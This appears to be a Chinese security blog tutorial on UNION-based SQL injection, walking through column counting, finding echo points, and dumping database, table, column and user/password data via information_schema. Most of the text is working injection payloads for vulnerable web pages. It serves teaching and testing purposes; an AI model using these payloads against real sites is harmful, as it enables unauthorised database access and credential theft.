SQL注入【五】——union注入

发布于 2020-07-02  140 次阅读


0x01 判断注入点类型

  • 字符型
  • 数字型

如果是字符型还得通过闭合,具体可以查看我之前的文章数字型和字符型

0x02 判断多少列

?id=1 order by n
/*n可以是任何数字,一般用折中试的方法*/

一直到返回界面与正常页面不同为止,取返回正确页面的最大数

0x03 判断回显点

由上个流程得到多少列(假设上面取的是3)

?id=-1 union select 1,2,3   
/*id=后面的值需为不存在页面的值,或者用id=1 and 1=2等使其为假的*/

此时对比正常页面出现文字的地方,会发现有些地方变成了1,2,3中任意的数,有可能是1处也有可能是2处,这就是回显点

0x04 显示数据库的基本信息

id=后的值必须是一个不存在的字段值,具体可以测试,一般负数就不存在,当然用and 1=2最为稳妥

在上面我们得到了回显点,回显点就是能在页面上显示我们构造查询语句结果的地方(假设回显点是2),那我们就在2的位置插入查询语句

?id=-1 union select 1,database(),3 
/*结果会在回显点显示当前的数据库名*/
?id=-1 union select 1,version(),3 
/*下面的方法都是基于数据库版本大于5.0,虽然现在数据库版本低于5.0的已经很少了,但还是养成好习惯*/

0x05 显示有哪些数据库

?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3

0x06 显示数据库下有哪些表

?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = '数据库名'),3

0x07 判断表里有哪些字段

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name = '表名'),3

0x08 查询数据表中有哪些数据

?id=-1 union select 1,(select group_concat(concat_ws("~",字段名,字段名)) from 数据库名.表名),3
/*	例:("~",user,password)	*/
/*	"~":表示显示的结果以"~"符号隔开	*/

也可用

?id=-1' UNION SELECT 1,(select group_concat(字段名,0x3a,字段名) from 数据库名.字段名),3
/*0x3a为冒号的16进制,当然用其他的也可以,具体请参照16进制表*/
/*上面语句和第一个效果是一样的*/

注意事项

1.

如果查询的是单条数据,可以用limit,但是在回显点limit只能显示一条内容,如果不加limit或者用limit显示超过一条数据,就会提示如下

表示数据超过条

所以我们要用group_concat方便显示所有数据

2.

插入的语句记得加括号


一个热爱技术的白帽子